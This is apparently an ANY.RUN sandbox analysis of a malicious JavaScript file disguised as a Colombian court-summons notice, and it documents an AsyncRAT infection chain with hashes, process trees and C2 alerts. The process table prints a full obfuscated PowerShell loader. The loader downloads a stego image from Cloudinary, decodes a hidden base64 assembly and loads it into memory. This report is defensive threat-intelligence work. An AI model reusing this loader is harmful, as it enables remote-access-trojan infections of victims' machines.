| File name: | SE NOTIFICA DEMANDA JUDICIAL; RADICADA No. 23-660-60-01004-2025..js |
| Full analysis: | https://app.any.run/tasks/ebfdb64f-94e2-4934-887f-15f8ea63f416 |
| Verdict: | Malicious activity |
| Threats: | AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions. |
| Analysis date: | January 17, 2025, 16:30:41 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/javascript |
| File info: | JavaScript source, Unicode text, UTF-8 text, with very long lines (439), with CRLF line terminators |
| MD5: | E7A1CF3EDCF8C98483521EA64D78B09A |
| SHA1: | C1B6A4372D19C8E1477AB1358003A90DF0DD9A79 |
| SHA256: | E2892A266F392D02884DCDE2F1CC0A706E4F8807D652D35FF004C59ACE3C9458 |
| SSDEEP: | 1536:mq2fi8gd99E3Lud01ppOUYfHxW12xE7EI9PB24wLlt4ezQ6VZYqiD5xCuSW0g6bB:z2a8g39GjOUYfHV4olxzQ6Vti9m3D |
MALICIOUS
Opens an HTTP connection (SCRIPT)
- wscript.exe (PID: 2992)
Creates internet connection object (SCRIPT)
- wscript.exe (PID: 2992)
Sends HTTP request (SCRIPT)
- wscript.exe (PID: 2992)
Stego campaign has been detected
- powershell.exe (PID: 6292)
Downloads the requested resource (POWERSHELL)
- powershell.exe (PID: 6292)
ASYNCRAT has been detected (SURICATA)
- aspnet_regbrowsers.exe (PID: 2996)
Dynamically loads an assembly (POWERSHELL)
- powershell.exe (PID: 6292)
DCRAT mutex has been found
- aspnet_regbrowsers.exe (PID: 2996)
SUSPICIOUS
Script creates XML DOM node (SCRIPT)
- wscript.exe (PID: 2992)
Probably obfuscated PowerShell command line is found
- wscript.exe (PID: 2992)
Probably download files using WebClient
- wscript.exe (PID: 2992)
Starts POWERSHELL.EXE for commands execution
- wscript.exe (PID: 2992)
Potential Corporate Privacy Violation
- wscript.exe (PID: 2992)
- powershell.exe (PID: 6292)
Runs shell command (SCRIPT)
- wscript.exe (PID: 2992)
Contacting a server suspected of hosting an CnC
- aspnet_regbrowsers.exe (PID: 2996)
Connects to unusual port
- aspnet_regbrowsers.exe (PID: 2996)
Converts a string into array of characters (POWERSHELL)
- powershell.exe (PID: 6292)
Uses base64 encoding (POWERSHELL)
- powershell.exe (PID: 6292)
INFO
Creates or changes the value of an item property via Powershell
- wscript.exe (PID: 2992)
Self-termination (SCRIPT)
- wscript.exe (PID: 2992)
Disables trace logs
- powershell.exe (PID: 6292)
Gets data length (POWERSHELL)
- powershell.exe (PID: 6292)
Reads the machine GUID from the registry
- aspnet_regbrowsers.exe (PID: 2996)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
128
Monitored processes
4
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2992 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\SE NOTIFICA DEMANDA JUDICIAL; RADICADA No. 23-660-60-01004-2025..js" | C:\Windows\System32\wscript.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
| 2996 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: aspnet_regbrowsers.exe Version: 4.8.9037.0 built by: NET481REL1 Modules
| |||||||||||||||
| 6292 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '0/Te7nB3av/d/ee.e#sap//:sp##h';$restoredText = $originalText -replace '#', 't';$WkhmnKnizbLkmOiockvo = 'https://res.cloudinary.com/ducmwq0h0/image/upload/v1736952855/ntrqpgcsntecjpiowat8.jpg ';$PWRJkGzAbWmUuAAtLLLK = New-Object System.Net.WebClient;$LUUirmzskZlKnOqaiaGo = $PWRJkGzAbWmUuAAtLLLK.DownloadData($WkhmnKnizbLkmOiockvo);$paAZanvZTzvliLPgOzqd = [System.Text.Encoding]::UTF8.GetString($LUUirmzskZlKnOqaiaGo);$WWZpbLKuiWUtkLaJRpxe = '<<BASE64_START>>';$HciKkbkCizUUWfTUZicK = '<<BASE64_END>>';$fBteSCxWSaptiWcdiWuh = $paAZanvZTzvliLPgOzqd.IndexOf($WWZpbLKuiWUtkLaJRpxe);$kcomBbsLaLQcLACZvpZx = $paAZanvZTzvliLPgOzqd.IndexOf($HciKkbkCizUUWfTUZicK);$fBteSCxWSaptiWcdiWuh -ge 0 -and $kcomBbsLaLQcLACZvpZx -gt $fBteSCxWSaptiWcdiWuh;$fBteSCxWSaptiWcdiWuh += $WWZpbLKuiWUtkLaJRpxe.Length;$dzNWLiRQQkKjdPmKoLnl = $kcomBbsLaLQcLACZvpZx - $fBteSCxWSaptiWcdiWuh;$LisBzWWeiQKmLcbUPCzK = $paAZanvZTzvliLPgOzqd.Substring($fBteSCxWSaptiWcdiWuh, $dzNWLiRQQkKjdPmKoLnl);$bBeGLQBRcWKmciGckitC = -join ($LisBzWWeiQKmLcbUPCzK.ToCharArray() | ForEach-Object { $_ })[-1..-($LisBzWWeiQKmLcbUPCzK.Length)];$cGfWqkqzePkWkGcpqiUP = [System.Convert]::FromBase64String($bBeGLQBRcWKmciGckitC);$fjPaPdUuhKWZCeLodGmu = [System.Reflection.Assembly]::Load($cGfWqkqzePkWkGcpqiUP);$mhuLviIiLKcPcrThBgem = [dnlib.IO.Home].GetMethod('VAI');$mhuLviIiLKcPcrThBgem.Invoke($null, @($restoredText, 'mimUCNZPHhZWNcrWKUji', 'mimUCNZPHhZWNcrWKUji', 'mimUCNZPHhZWNcrWKUji', 'aspnet_regbrowsers', 'mimUCNZPHhZWNcrWKUji', 'mimUCNZPHhZWNcrWKUji','mimUCNZPHhZWNcrWKUji','mimUCNZPHhZWNcrWKUji','mimUCNZPHhZWNcrWKUji','mimUCNZPHhZWNcrWKUji','mimUCNZPHhZWNcrWKUji','1','mimUCNZPHhZWNcrWKUji','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6304 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
9 558
Read events
9 554
Write events
4
Delete events
0
Modification events
| (PID) Process: | (2992) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (2992) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (2992) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (2992) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe |
| Operation: | write | Name: | JScriptSetScriptStateStarted |
Value: FD70130000000000 | |||
Executable files
0
Suspicious files
3
Text files
3
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2992 | wscript.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 | binary | |
MD5:AA04555041A428DFD3898621583AF64E | SHA256:F5019821ECD6D3B772E756288778256F0C81C39520F3B893A66040A7056A80AB | |||
| 6292 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:98EA508EE0CD8E3355FBB632530C8312 | SHA256:F9736820EBC11C3EC844F4A630D0B53C6854C0DFFA07B72A9DD567244AFF6912 | |||
| 6292 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_uqpbckhe.yek.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 2992 | wscript.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 | binary | |
MD5:E192462F281446B5D1500D474FBACC4B | SHA256:F1BA9F1B63C447682EBF9DE956D0DA2A027B1B779ABEF9522D347D3479139A60 | |||
| 2992 | wscript.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\MsL0Rif0[1].txt | text | |
MD5:D3C607EA79BBA477990CE015B36FA90A | SHA256:A5FB532CBF845D18813EC819E134D5939B970970A0F0DBCB006D35208261E12D | |||
| 6292 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_hz11xw4v.2eg.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
36
DNS requests
20
Threats
8
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 2.16.241.12:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
2992 | wscript.exe | GET | 200 | 23.209.209.135:80 | http://x1.c.lencr.org/ | unknown | — | — | whitelisted |
5064 | SearchApp.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
1176 | svchost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
7060 | SIHClient.exe | GET | 200 | 23.209.214.100:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
7060 | SIHClient.exe | GET | 200 | 23.209.214.100:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
— | — | 2.16.241.12:80 | crl.microsoft.com | Akamai International B.V. | DE | unknown |
— | — | 95.101.149.131:80 | www.microsoft.com | Akamai International B.V. | NL | unknown |
4712 | MoUsoCoreWorker.exe | 95.101.149.131:80 | www.microsoft.com | Akamai International B.V. | NL | unknown |
4 | System | 192.168.100.255:138 | — | — | — | unknown |
2992 | wscript.exe | 23.186.113.60:443 | paste.ee | — | — | unknown |
2992 | wscript.exe | 23.209.209.135:80 | x1.c.lencr.org | PT. Telekomunikasi Selular | ID | unknown |
5564 | svchost.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
6292 | powershell.exe | 2.19.224.32:443 | res.cloudinary.com | AKAMAI-AS | FR | whitelisted |
5064 | SearchApp.exe | 2.23.227.208:443 | www.bing.com | Ooredoo Q.S.C. | QA | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| unknown |
crl.microsoft.com |
| unknown |
www.microsoft.com |
| unknown |
google.com |
| unknown |
paste.ee |
| unknown |
x1.c.lencr.org |
| unknown |
res.cloudinary.com |
| unknown |
www.bing.com |
| unknown |
ocsp.digicert.com |
| unknown |
login.live.com |
| unknown |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2192 | svchost.exe | Misc activity | ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee) |
2992 | wscript.exe | Potential Corporate Privacy Violation | ET INFO Pastebin-style Service (paste .ee) in TLS SNI |
6292 | powershell.exe | Potential Corporate Privacy Violation | ET INFO Pastebin-style Service (paste .ee) in TLS SNI |
2996 | aspnet_regbrowsers.exe | Domain Observed Used for C2 Detected | REMOTE [ANY.RUN] AsyncRAT SSL certificate |
2996 | aspnet_regbrowsers.exe | Misc Attack | ET DROP Spamhaus DROP Listed Traffic Inbound group 9 |
2996 | aspnet_regbrowsers.exe | Domain Observed Used for C2 Detected | ET MALWARE Observed Malicious SSL Cert (AsyncRAT) |
2996 | aspnet_regbrowsers.exe | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] AsyncRAT Successful Connection |
1 ETPRO signatures available at the full report